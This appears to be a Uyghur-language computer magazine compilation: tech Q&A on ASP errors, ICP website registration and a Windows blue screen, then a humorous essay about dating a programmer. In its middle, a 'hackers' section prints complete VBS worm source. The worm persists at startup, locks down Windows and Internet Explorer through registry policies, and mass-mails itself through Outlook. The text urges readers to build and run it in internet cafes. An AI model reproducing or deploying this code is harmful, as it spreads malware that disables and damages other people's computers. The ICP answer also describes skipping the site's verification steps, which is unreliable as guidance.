ئەگەر ياخشى ۋىرۇستىن مۇداپىئەلىنىشنىڭ بارلىق باسقۇچى توغرىسىدا مەخسۇس ماتېرىيال تۈزۈپ چىقىپ قويماقچىمىز.شۇ چاغدا ئايرىم ئۆگىنىۋېلىشىڭىز بولىدۇ.
جاۋاب بەرگۈچى:sazgur

2-سوئال: ASP نىڭ HTML ئىشلەپ چىقىرىشىدىكى Not Found دېگەن خاتالىقنى قانداق ھەل قىلىمىز؟
مەن يېقىندا ASP نىڭ HTML ئىشلەپ چىقىرىدىغان سىستېما ئىشلىتىۋاتقان ئىدىم HTML...
ئىشلەپ چىقارغاندىن كېيىن ، ئىشلەپ چىقارغان بەت پەقەتNot Found
The requested URL was not found on this server.دەپ خېتى بار ...بەتلا ئىشلەپ چىقىرىۋاتىدۇ
....بۇ قەيەردىكى خاتالىق زادى نېمە؟قانداق ھەل قىلىمىز؟
سوئال سورىغۇچى:izdax

جاۋاب:دېمەك XMLHTTP مەنبە قىلىپ ئوقۇغان توربەتتىن مەسىلە چىققان . شۇ توربەتنى ئېچىپ كودىنى تەكشۈرۈپ كۆرۈڭ ، on error resume nextدېگەندەك جۈملىلەرنى ئېلىۋېتىپ تۈزۈپ تەپسىلىي خاتالىقىغا ئېرىشىڭ.
جاۋاب بەرگۈچى:mayor

3-سوئال:توربەت تەستىقلاشتىن (ICP备案) نى قانداق ئىلتىماس قىلىمىز؟!

مەن جق توربەتلەرنىڭ ئاستىدا ICP备案 دېگەن ئۇچۇرنى كۆرىمەن . بەزىلەر ماڭا بۇ نەرسەڭ بولمىسا توربەت ياسىساڭ قانۇنسىز دەپ ، توربېتىڭنى ئۆچۈرۈۋېتىدۇ دەيدۇ . بۇنى قانداق ھەل قىلىمەن؟؟؟؟ بۇنى ئالمىسام زادى زىيىنى بارمۇ؟ ئالسام قانداق زىيىنى پايدىسى بار؟ پۇل تۆلەمدىم؟ تەپسىلىي كۆرسەتمە بېرىشىڭلارنى ئۈمىد قىلىمەن . جق تور بەتلەر دە مۇشۇ نەرسىنى سوراپ بولالماي بەك ئېچىم سقىلغان ئىدى.
سوئال سورىغۇچى:tilizmat

ICP备案دېگەنلىك تور بەتنى ئۇچۇر مىنىستىرلىكىگە ئەنگە ئالدۇرۇش دېگەنلىك. بۇنى تور بەتنى تەستىقلىتىش دەپ چۈشەنسىڭىزمۇ بولىدۇ .
ICPابجىرىشتە ئۆزىڭىزنىڭ تور بىكىتى بولىشى ، يانفۇنىڭىز بولىشى ، بوشلۇقى بولىشى كېرەك. مۇناسىۋەتلىك ئۇچۇرلارنى توشقۇزغاندا چوقۇم ھەقىقى ئۇچۇرلارنى توشقۇزىشىڭىز كېرەك.
ICPابجىرىش ئاساسەن بوشلۇق سېتىۋالغاندا بەكرەك لازىم بولىدۇ. سىز ئەگەر دە تور ئادرېسىنى سېتىۋالغان ، بولۇپ ھەقسىز بوشلۇق ئىشلەتكەن بولسىڭىز تور بىكىتىڭىزنى ئىشلىتىۋەرسىڭىز بولىدۇ. بىراق ھەقلىق بوشلۇق ئىشلىتىدىغان بولسىڭىز چوقۇم ICP بېجىرىشىڭىز كېرەك .
سىز قانۇنلۇق تور بېكەت ئىشلىسىڭىزلا ئۇچۇر مىنىستىرلىكىمۇ تور بىكىتىڭىزنى تەستىقلاپ بېرىۋېرىدۇ. بۇنى بېجىرىشكە ئادەتتە 10 ـ كۈندىن 20 كۈنگىچە ۋاقىت كېتىدۇ. بىراق ئۇيغۇرچە تور بىكەتلەرنى تەستىقلاشقا بۇنىڭدىنمۇ ئۇزاق ۋاقىت كېتىدىكەن.
ئەگەر يانفۇنىڭىز بولمىسا تۆۋەندىكى مەزمۇندىن پايدىلانسىڭىز بولىدۇ.

1.ئاۋال http://www.miibeian.gov.cn غا تىزىملىتىسىز. ) يانفونىڭىز بولمىغاچقا قىسقا ئۇچۇرمۇ ، تەستىق نۇمۇرمۇ يوق دىگەن گەپ. (.
2.باش بەتكە قايتىسىز ) . http://www.miibeian.gov.cn )
3.ئەزا ئىسمى ، پارول، تەستىق نۇمۇر قاتارلىقلارنى كىرگۈزىسىز .

4.بۇ چاغدا 手机验证码 ۋە 邮箱验证码 نى كىرگۈزۈڭ دەيدۇ. كىرگۈزمەيسىز .

5.ئادرىس ئىستونىغا http://www.miibeian.gov.cn/index_icp.jsp نى يىزىپ، ENTERنى باسسىز .
6.ئىش پۈتتى، ئەمدى ئالدىرىماي ، تور بېتىڭىزگە ICP بىجىرىڭ!

)بۇ يەردە مەن 验证码 نى تەستىق نۇمۇر دەپ ئالدىم (

پايدىلىنىش مەنبەسى: http://www.u112.com/uy/onews.asp?id=159
جاۋاب بەرگۈچى: uyghur112

4-سوئال:كومپيوتىرىم تۇيۇقسىز dos شەكلىدىكى كۆك رەڭلىك هالەتكە ئۆزگىرىۋالدى

ئالدىنقى قېتىم win XP jujumao8 نىڭ ghost نۇسخىسىنى قاچىلىغان ئىدىم ، بىر مەزگىل ئىشلەتكەندىن كېيىن كومپيۇتېر تۇيۇقسىزلا dos شەكلىدىكى كۆك رەڭلىك هالەتكە ئۆزگىرىۋالىدىغان بولۇپ قالدى، ئاخىرى بولماي windows Xp sp2 نىڭ قاچىلاش دىسكىسىدا قايتا سىستىما قاچىلىدىم ، يەنە تۇيۇقسىز شۇنداق ئەھۋال كىلىپ چىقتى . بۇنداق بولغاندا كومپيوتىرىم تولۇق پالەچ هالغا كېلىپ قالىدىكەن . چوقۇم قايتا قوزغاتمىسام بولمايدىكەن . قىلىۋاتقان مەشغۇلاتىمنىڭ هەممىسىدىن مەهرۇم قالىدىكەنمەن .
-------------يا رەسىمنى كۆرسەتەي دىسەم بۇنداق ئەھۋالدا كومپيوتىرىم ئاللىقاچان پالەچ ئەھۋالدا .
ئىشقىلىپ ئېنىگىلىزچە خەتلەر .............
بۇ نىمىنىڭ كاشىلىسى ؟ دىئاگنوز قويۇپ بەرسەڭلار...

سوئال سورىغۇچى: jon

مەسىلە ئېھتىماللىقى:
1. ئىچكى ساقلىغۇچنىڭ مەسىلىسى
2. قاتتىق دىسكىنىڭ مەسىلىسى
هەل قىلىش ئۇسۇلى:
1.ئىچكى ساقلىغۇچنى ئېلىپ، ئوقۇرنى پاكىز تازىلاپ، ئاندىن سېلىپ كۆرۈپ بېقىڭ.
2. بۇ يەردە تىلغا ئالغان قاتتىق دىئىسكىدىكى مەسىلە دىگىنىم، قاتتىق دىسكا بۇزۇلۇپتۇ دىگەنلىك ئەمەس، بەلكى قاتتىق دىسكىنى تويۇقسىز ئوقىماس بولۇپ قالىدۇ، بۇ مەسىلىنى قاتتىق دىسكىغا توك ئۆتمەسلىك ياكى ئۇچۇر يوللاش سىمى كەلتۈرۈپ چىقىرىدۇ، قاتتىق دىسكىنىڭ توك مەنبەسىنى هەم ئۇچۇر يوللاش سىمىنى تەكشۈرۈپ بېقىڭ، ئۇچۇر يوللاش سىمى بەكلا كونىراپ كەتكەن بولسا يېڭىسىغا ئالماشتۇرۇڭ.
جاۋب بەرگۈچى: muradil
تولۇقلىما جاۋاب:سىز كۆرگەن شۇ ئىنگىلىزچە خەتلەرنىڭ مەنىسى «كومپيۇتېرىڭىزنىڭ بۇزۇلۇشىنىڭ ئالدىنى ئېلىش ئۈچۈن كومپيۇتېرىڭىزنى تاقىۋېتىشكە تېگىشلىك مەسىلە بايقالدى.ئەگەر سىز بۇ ئەھۋالنى تۇنجى كۆرۈۋاتقان بولسىڭىز،ئۇنداقتا كومپيۇتېرىڭىزنى قايتا قوزغىتىپ سىناپ بېقىڭ،ئەگر بۇ ئېكران يەنە قايتا مۇشۇنداق كۆرۈنسە مۇنۇلارنى سىناپ بېقىڭ:
يېڭى قاتتىق دېتال ياكى يۇمشاق دېتال قاچىلانغانلىقىنى مۇقىملاشتۇرۇڭ،ئەگەر بۇ يېڭى قاچىلاش بولسا ،قاتتىق

F8
نى بېسىپ قوزغىتىش تاللانمىسىنى ئېچىپ ئۇنىڭدىن بىخەتەر ھالەتنى تاللاپ قوزغىتىڭ.»شۇڭا مۇشۇ مەسىلىلەر بويىچە بىر تەرەپ قىلىپ بېقىڭ.تۆۋەندىكىسى كۆك ئېكراننىڭ رەسمى:

```
A problem has been detected and Windows has been shut down to
prevent damage to your computer
If this is the first time you've seen this stop error
screen,restart your computer.If this screen appears
again,follow these steps:
Check to be sure you have adequate disk space.If a driver is
identified in the stop message ,disable the driver or check
with the manufacturer for driver updates. Try changing video
adapters.
check with your hardware vendor for any BIOSupdates.Disable
BIOS memory options such as caching or shadowing .If you need
to use safe mode to remove or disable components ,restart your
computers press F8 to select Advanced startup options,and then
select safe mode
Technical information:
***STOP:0x0000008E(0xc0000005,0xf887b752,0xf898EC90,0xF898E98C)
Beginning dump of physical memory
Physical memory dump complete.
Conntact your System administrator or technical support group
for further assistance
```

# خاككېرلار رىۋايىتى

## VBS ۋىرۇسنىڭ ئەسلى كودى

ئالاھىدە ئەسكەرتىش:بۇ ۋىرۇسنىڭ ئەسلى كودى توردىن كەلگەن بولۇپ،پەقەت ئۆگىنىش ۋە تەجرىبە ئالماشتۇرۇش ئۈچۈنلا ئىشلىتىلىدۇ.ئەگەر بۇ ۋىرۇس پروگراممىسىنى سىناش سەۋەبلىك ھەرقانداق مەسىلە يۈز بەرسە بىز ھېچقانداق مەسئۇلىيەتنى ئۈستىمىزگە ئالالمايمىز.ئالاھىدە ئەسكەرتىلدى.

ۋىرۇس ياساشقا قىزىقىدىغان تورداشلارنىڭ دىققىتىگە VBS ۋىرۇسنىڭ ياسىلىش ئەسلى پروگراممىسىنى سۇندۇم.

ئاۋۋال قۇرۇق بولغان 文本文档 دىن بىرنى قۇرىسىز،ئاندىن تۆۋەندىكى پىروگراممىنى ئىچىگە چاپلاپ

ساقلىغاندىن كېيىن كېڭەيتىلگەن نامىنى VBS قا ئايلاندۇرۇپ قويسىڭىزلا بولدى.بۇ ۋىروسنى ئەڭ ياخشىسى تورخانىلاردا ياساڭ،بولمىسا كومپيۇتېرىڭىزنى بۇزىۋالىسىز!ساقلاپ بولۇپ ئىجرا قىلسىڭىز مانا كارامەتنى كۆرىسىز.ئەگەر ۋىرۇسخورىڭىز ئاجىزراق كەلسە بۇ ۋىرۇس Outlook نى قوزغىتىپ بىرسىگە توختىماي ئېلخەت يوللايدۇ.كومپيۇتېرىڭىزنى قايتا قوزغاتسىڭىز تېخى كۆرىسىز كارامەتنى ھى،ھى،ھى....

دىققەت:تەمىنلىگىنىم خاس ئۆگىنىشنى مەقسەت قىلغان بولۇپ،ئەگەر بۇنىڭدىن ھەرقانداق خەۋپ،خېيىم-خەتەر كېلىپ قالسا مەن ئىگە بولالمايمەن.شۇڭا كومپيۇتېردىن ياخشىراق خەۋىرى يوقلار ياخشىسى بۇنى ھەپلەشمەڭ.خاتىرە دەپتەردە ئاچسىڭىز ئەسلى كودىنى كۆرەلەيسىز.شۇ ئارقىلىق كودىنى تەھلىل قىلىپ چۈشىنىپ ،ھەل قىلىش يولى ئۈستىدە ئىزدىنىپ بېقىشىڭىزنى ئۈمىد قىلىمەن.كېيىنكى ماقالىلىرىمدە بۇ ۋىرۇسنى قانداق يوقىتىدىغانلىقىنى سۆزلەيمەن.

```
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动
\Win32system.vbs")
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"
REG_DWORD"
r.Regwrite
"KCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"
REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",6
3000000,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegis
tryTools",1,"REG_DWORD"
r.Regwrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1
,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealM
ode",1,"REG_DWORD"
```

```
r.Regwrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32sy
stem.vbs"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop"
,1,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled
",1,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskB
ar",1,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewCont
extMenu",1,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolder
s",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption
","警告"
r.Regwrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","o
k"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="ok"
Mail.Body="ok"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit

r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
```

```
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control
Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet
Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu
",1,"REG_DWORD"
```

ئۇيغۇر كومپيۇتېر مەستانىلىرى

# كومپيۇتېر بىلەن ئۆتكەن ھايات

## پروگراممېر بىلەن مۇھەببەتلىشىش ھەققەتەن مۇشكۈل

1.سىزدە مەلۇم دەرىجىدىكى كومپيۇتېر بىلىمى بولۇشى كېرەك . سىز ئادەتتىكى كومپيۇتېر بىلىملىرىنى بىلىپلا قالماي يەنە قىزلار بىلىشكە تېگىشلىك بارلىق بىلىملەرنى بىلىشىڭىز كېرەك .ئۇ بەك ئالدىراش ، ئۇ ئالدىراشلىقىدىن سىزگە كۆڭۈل بۆلگۈدەك ۋاقىت تاپالمايدۇ . سىزدە تاماق ئېتىش، ئائىلە ئىشلىرىنى قىلىش ،جۈملىدىن قىزلاردا بولۇشقا تېگىشلىك بارلىق ئىقتىدار بولۇشى كېرەك.ئۇنىڭغا

ئۈنى ياخشى كۆرىسىز . ئۇ بەزىدە چارچاپ

كەتكەنلىكىدىن ئۇخلىغاندىمۇ كەيپىياتى ياخشى بولماسلىقى مۇمكىن ،سىزدە تۇن كېچىدە قوپۇپ ئۇنىڭغا يوتقان يېپىپ قويالىغۇدەك سەۋرچانلىق ۋە كۆيۈمچانلىق بولۇشى كېرەك...... ئۇ يەنە بەزىدە ئالدىراشلىقىدىن تاماق يېيىشنى ئۇنتۇپ قېلىشى ياكى تاماقنا باققىدەك ۋاقتى چىقماسلىقى مۇمكىن .شۇ ۋاقىتتا سىز كىچىك بالىغا تاماق يېگۈزگەندەك ئۇنىڭغا تاماق بېرىشىڭىز كېرەك ،مۇنداق بولغاندا ئۇ سىزدىن «سىزنى سۆيىمەن» دېگەن گەپنى ئاڭلىغاندىمۇ بەكرەك خوشال بولىدۇ ،بەلكىم سىزنىڭ كۆزىڭىزگە قاراپ «سىزنى سۆيىمەن» دېيىشى ياكى ئاددى بولسىمۇ« سىز بەك ياخشى» دېيىشى مۇمكىن ،سىز مۇشۇ گەپلەردىن خوشاللىق ھېس قىلىشىڭىز ،پەخىرلىنىشىڭىز كېرەك.

2.سىز جىمجىتلىقنىڭ نېمە ئىكەنلىكىنى بىلىۋېلىشىڭىز كېرەك . شۇنى ئېسىڭىزدە تۇتۇشىڭىز لازىمكى، كومپيۇتېرنىڭ ئالدىدا پۈتۈن دىققىتى بىلەن ئولتۇرغان بىر كىشى (يىگىت)نىڭ ئەڭ يامان كۆرىدىغىنى باشقىلارنىڭ ئۆزىنىڭ شۇ ۋاقىتتىكى تەپەككۇر يولىنى ئۈزۈپ تاشلىشى ،مۇنداقچە ئېيتقاندا جىمجىتلىقنىڭ بۇزۇلىشى .ئۇ سىز سورىغان سوئاللارغا شۇ ۋاقىتنىڭ ئۆزىدە جاۋاپ بېرىشى ناتايىن ،ھەتتا مەلۇم ۋاقىت ئۆتكەندىن كېيىن سىزدىن «بايا نېمە دېگەنتىڭىز؟» دەپ سورىشى مۇمكىن .سىز سەۋرچانلىق بىلەن سوئالىڭىزنى قايتا سوراڭ ، ئەگەر مۇھىم ئىش بولمىسا ئىشىڭىزنى قىلىۋېرىڭ ياكى «بەك مۇھىم گەپ ئەمەس» دەپ گەپنى ئاخىرلاشتۇرۇڭ .ئېسىڭىزدە تۇتۇڭ ،ئۇنىڭغا گەپ قىلغاندا ھەرگىز سۆرەلمىلىك قىلماڭ.

ئۇ خىزمەت قىلىۋاتقاندا ئەڭ ياخشىسى ئۇنىڭ بىلەن پاراڭلىشىش خىيالىدا بولماڭ ، بۇ خۇددى ئاسماندىكى غازنىڭ شورپىسىغا نان چىلاپ يېگىلى بولمىغاندەك ئەمەلگە ئاشمايدىغان ئىش. كېيىسپ ئېيتالايمەنكى،ئۇ سىز بىلەن ھەرگىز پاراڭلاشمايدۇ،ھەتتا قاتتىق قىلىپ «ئالدىراشلىقىمنى كۆرمىدىڭىزمۇ ؟»دېيىشى مۇمكىن ،لېكىن سىز كۆڭلىڭىزگە ئالماڭ ،چۈنكى ئۇ كومپيۇتېر بىلەن تونۇشقان كۈندىن تارتىپ ئۆزى بىلمىگەن ھالدا مۇشۇنداق مىجەزنى يېتىلدۈرۈۋالغان .قىسقىسى ئۇ جىمجىتلىقنى خالايدۇ . خىزمەت ۋاقتىدا ئۇنىڭغا تەسەۋۋۇردىن ھالقىغان جىمجىتلىق كېرەك.

3.ئۇنىڭ بىلەن مۇھەببەتلىشىش ناھايىتى زېرىكىشلىك . ئۇ سىز بىلەن قول تۇتۇشۇپ بازار ئايلىنىشقا چىقمايدۇ ، ئۇ كومپيۇتېرنىڭ ئالدىدا قانداقتۇر بىر سانلىق مەلۇماتقا قاراپ ئولتۇرۇشقا رازىكى، سىز بىلەن بىرگە سىرتقا چىقمايدۇ .سىز ئەڭ ياخشىسى باشقا دوستلىرىڭىز ياكى ئاچا- سىڭىللىرىڭىز بىرگە ئايلىنىپ كۆڭلىڭىزنى شاد ئېتىشنى ئۆگۈنىۋېلىڭ .سىزنىڭ تۇغۇلغان كۈنىڭىز بولغان كۈنى ،ئەگەر بىر قانچە دوستلىرىڭىز بىلەن بىرگە تاماق يېيىشنى ئويلىغان بولسىڭىز تەكلىۋىم شۇكى ئەڭ ياخشىسى ئەترابىدا تورخانا بار يەرنى تاللاڭ، مۇنداق بولغاندا ھەر ئىككىڭلار خۇشال بولۇشتەك مەقسىتىڭىزگە يېتەلەيسىز.دوستلىرىڭىز كېلىپ بولغىچە ئۇ سىزدىن تورخانىغا كىرىپ ئولتۇرۇپ چىقىشقا رۇخسەت بېرىشنى سورايدۇ ،سىز قانداق قىلىسىز؟ئەگەر ئۇنى خۇشال بولسۇن دېسىڭىز كۆلۈپ تۇرۇپ ماقۇل بولۇڭ ئاندىن دوستلىرىم كېلىپ بولغاندا سىزگە تېلېفون قىلاي دەپ ئەسكەرتىپ قويۇڭ .ئۇ سىز بىلەن مۇھەببەت توغرىلىق پاراڭلاشمايدۇ ،سىزگە سىز ئەڭ ياخشى كۆردىغان مۇھەببەت ھېكايىلىرىنى ئېيتىپ بەرمەيدۇ .تېخى ئىش ئالدىڭىزدا ، ئاشۇق -مەشۇقلار بايرىمى سىزگە گۈل ئېلىپ بېرىپ ،پېشانىڭىزگە سۆيۈپ تۇرۇپ« سىزنى سۆيىمەن» دېگەن گەپنىمۇ قىلىشقا چولىسى تەگمەسلىكى مۇمكىن .ئېيتىپ بېقىڭە،بۇنىڭدىنمۇ ئازاپلىق ئىش بارمۇ؟ سىز چىداش ،سەۋر قىلىش دېگەن سۆزنى ئېسىڭىزدە چىڭ تۇتۇشىڭىز لازىم .ئۇ نەتىجە قازانغان كۈنى ئاشۇلارنىڭ ئورنىنى تولدۇرۇشى ،سىزنى ئويلىغىنىڭىزدىنمۇ بەكرەك خۇشال قىلىشى مۇمكىن ،سىز شۇ ۋاقىتقىچە كۈتۈشىڭىز كېرەك .چۈنكى سىز ئۇنى ياخشى كۆرسىز ،كىم سىزنى ئۇنى ياخشى كۆرسۇن دەپتۇ؟

4.سىزگىمۇ بىر يوچۇق بار ،سىز تاماقنى بەك ئوخشۇتۇپ ئېتىمەن دەپ ئاۋارە بولۇپ كەتمەڭ .ئۇ سىز ئەتكەن تاماقنىڭ ئوخشىغان ئوخشىمىغانلىقنى ھېس قىلالمايدۇ،چۈنكى ئۇنىڭ پۈتۈن خىيالى شۇ كومپيۇتېردا،شۇ خىزمەتتە. تاماق پىشقاندا ئاۋۋال ئۇنىڭ يېنىغا بىر پىيالە ئىسسىق چاي ئاپىرىپ مۆرىسنى ئاستا چېكىڭ .سىزگە قارىسا تەلىيىڭىز ،ئۇ سىز بىلەن بىللە تاماق يەيدۇ. تاماق ۋاقتىدا بەك تولا گەپ قىلماڭ ،بەك گەپ قىلغۇڭىز كېلىپ كەتسە ئۇنىڭ قىلغان ئىشىنىڭ مۇۋەپپەقيەتلىك بولغان-بولمىغانلىقدىن باشلاڭ ،شۇنداق بولغاندا ،ئۇ سىز بىلەن سىز ئويلىغاندىنمۇ ئۇزۇنراق

ۋاقتىدىمۇ خىيال سۈرۈپ ئولتۇرسا سىز يەنە مەغلۇپ بولىدىغىز دېگەن سۆز.ئۇ ئۆزىنىڭ شۇ خىياللىرى بىلەن بولۇپ كېتىپ نىمە تاماق يېگەنلىكىنى ئۇنتۇپ ،پولو يېگەن بولساڭلار ماڭا مىغەندىن يەنە بىر قاچا ئەكىلىڭ دەپ سىلىشى تۇرغانلا گەپ ،سىز كۈلمەڭ.سىز تاماقنى ئەكىلىپ بولغىچە ئۇ ئۆزىنىڭ نىمە دېگەنلىكى ئېسىگە كېلىپ ھجىيىپ ئولتۇرىدۇ ھەقاچان.

سىزمۇ يامان، ئۇنىڭ شۇ ئەپتىگە قاراپ كۈلۈپ تاشلايسىز . شۇ پەيتتە تاماق ئوخشاپتىمۇ دەپ سوراپ بېقىڭە ،ئۇ بىرنى كېكىرىۋېتىپ:« ناھايتى ئوخشاپتۇ ،تاماققا پەيزىڭلار بار جۇمۇ!» دەپ قويۇپلا تاماكىدىن بىرنى تۇتاشتۇرۇپ كومپيۇتېرغا قاراپ ماڭىدۇ ،سىز بەلكىم ئارقىسىدىن قاراپ غەلىتە ئادەمدە بۇ دەپ قويىسىز......

5.كۆپىنچە ۋاقىتتا سىز ئۇنىڭغا قاراڭ ، ئۇنىڭغا دىققەت قىلىڭ .شۇنىڭغا ئىشىنىڭ ،ئۇنىڭ كومپيۇتېرغا قارىغان ۋاقتى سىزگە قارىغان ۋاقتىدىن ئۇزۇن ،بۇ مۇتلەق .سىز ئۇنىڭدىن« بۈگۈن مەندە قانداق ئۆزگىرىش بار ئىكەن ، ماۋۇ چاپىنىم قانداقراق كەپتۇ ،قارىغە سەل سەمرىپ قالدىممۇ نىمە؟» دېگەندەك ئەخمىقانە سوئاللارنى قەتئىي سورىماڭ.چۈنكى ئۇنىڭ نەزىرىدە سىزنىڭ شۇ دەقىقىدىكى قىياپىتىڭىز ئۇنىڭ قىلۋاتقان ئىشى ،تۈزۈۋاتقان پروگراممىسى ، كۆرۈۋاتقان بىرەر ماقالىسىدەك جەلىپ قىلىش كۈچىگە ئىگە ئەمەس .ئەگەر ئۇ بىرەر پروگراممىا تۈزۈۋاتقان ياكى بىرەر مۇھىم ماقالە يېزىۋاتقان ۋاقتىدا كومپيۇتېر ئۆچۈپ قالسا ئۇنىڭ چىرايىغا قاراپ بېقىڭ ،ئەمدى يىغلاشقا تەمشەلگەن كىچىك بالىغا ئوخشاش چىرايىنى ئۈمچەيتىپ:«خەپ! خەپ! مۇشۇ ئەبجەق كومپيۇتېرنىزە ...»دېگەن ھالىتىدىن ئۇنىڭ ئۆچۈن زادى قايسىنىڭ مۇھىم ئىكەنلىكىنى كۆرۈۋالالايسىز .بۇ ۋاقىتتا سىز دەرھال ئۇنىڭ مۆرىسىنى ئۇۋۇلاپ قويىغاچ تەسەللىي بېرىڭ. كۆپىنچە ئۇنىڭغا مەدەت بولىدىغان گەپلەرنى قىلىڭ. ئۇنىڭغا دىققەت قىلىڭ

6.سىز ئۇنىڭغا ماس ھالدا مېڭىشىڭىز كېرەك .ئۇ كومپيوتېردا قايسى ساھەدە ئىزدىنىۋاتقان بولسا سىزمۇ شۇ جەھەتتە ئازراق ئىزدىنىپ ،مەلۇم دەرىجىدە ئاساس ھازىرلاڭ .ئۇ بەزىدە بەك چارچاپ كېتىپ ناھايتى كىچىك ھالقىلارنى ئۇنتۇپ قېلىپ ئاۋازىنى قويىۋېتىپ: «پالانى نەرسە نەدە ئىدى ،

بۇ يەرگە نېمە يازاتتى؟»دەپ قالىدۇ .سىز مۇشۇ پۇرسەتنى چىڭ تۇتۇپ ئۇنىڭغا ياردەم قىلالىسىڭىز ئۇ سىزدىن كۆپ مىننەتدار بولىدۇ .مۇنداق بولغاندا،سىزمۇ خوشال بولىسىز ،ئۇمۇ سىزدىن سۆيۈنىدۇ .تېخىمۇ يېقىن بولالايسىز.ئۇمۇ چارچاش ھېس قىلمايدۇ. ئەگەر سىزدە كومپيۇتېرغا نىسبەتەن پەقەت قىزغىنلىق بولمىسا ئۇنىڭ بىلەن دەرھال ئايرىلىپ كېتىڭ .ئىككىڭلارنىڭ بىرگە بولغىنىڭلارنىڭ ئۆزى بىر خاتالىق ،بۇگۈن بولمىسا ئەتە ،ئەتە بولمىسا ئۆگۈن بەربىر ئايرىلىپ كېتىدىغان گەپ ،قانچە بالدۇر بولسا ئازاپمۇ شۇنچە يېنىك بولىدۇ . شۇ ئېسىڭىزدە بولسۇن ،بىر مەخسۇس كومپييۇتېرچىنىڭ سۆيگىنى بولماق بەك تەس .ئۇ سىزدىن پەقەت ۋە پەقەت قوللاش،مەدەت، كالا ھارۋىسىدا ئولتۇرغاندىكىدەك سەۋرچانلىق تەلەپ قىلىدۇ .لېكىن سىز تەلەپ قىلغاننى بېرەلىشى ،ئارزۇيىڭىزغا يەتكۈزەلىشى تەس ،چۈنكى ــ ئۇ ئالدىراش.سىزنىڭمۇ ئۇنىڭ دېگىنىنى قىلمىقىڭىز ئۇنداق ئاسان ئەمەس . لېكىن بۇنى قىلىشقا كۆزىڭىز يەتمىسە بالدۇراق ماڭىدىغان يولىڭىزغا مېڭىڭ.....ئۆزىڭىزنى چەتكە ئېلىڭ ،سىزنىڭ ئورنىڭىزنى باشقىدەك بىرسى ھامان چىقىدۇ ، ئۇمۇ مۇشۇنداق بىرسىگە مۇھتاج.

